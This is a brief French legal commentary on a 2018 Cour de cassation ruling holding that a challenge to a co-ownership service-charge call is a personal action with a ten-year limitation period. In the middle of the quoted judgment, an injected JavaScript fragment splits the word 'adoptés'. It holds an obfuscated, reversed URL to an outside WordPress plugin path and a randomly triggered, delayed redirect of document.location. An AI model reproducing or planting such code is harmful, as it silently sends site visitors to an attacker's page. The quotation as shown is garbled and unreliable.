Prescription de l’action en contestation d’un appel de charges
(Civ., 3ème, 1er février 2018, n°16-26992)
La Cour de cassation a rappelé que le délai de contestation d’un appel de charges se prescrivait par 10 ans s’agissant d’une action personnelle.
La Cour a ainsi statué :
« Vu l’article 42 de la loi du 10 juillet 1965 ;
Attendu que, pour déclarer irrecevable la contestation par M. Y… de son appel de charges, l’arrêt retient, par motifs propres et atoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doptés, qu’elle n‘a pas été formée dans le délai de deux mois suivant la réception du procès-verbal de l’assemblée générale du 16 novembre 2012 ;
Qu’en statuant ainsi, alors que l’action en contestation d’un appel de charges est une action personnelle née de l’application de la loi du […] et comme telle se prescrit par dix ans, la cour d’appel a violé le texte susvisé ; »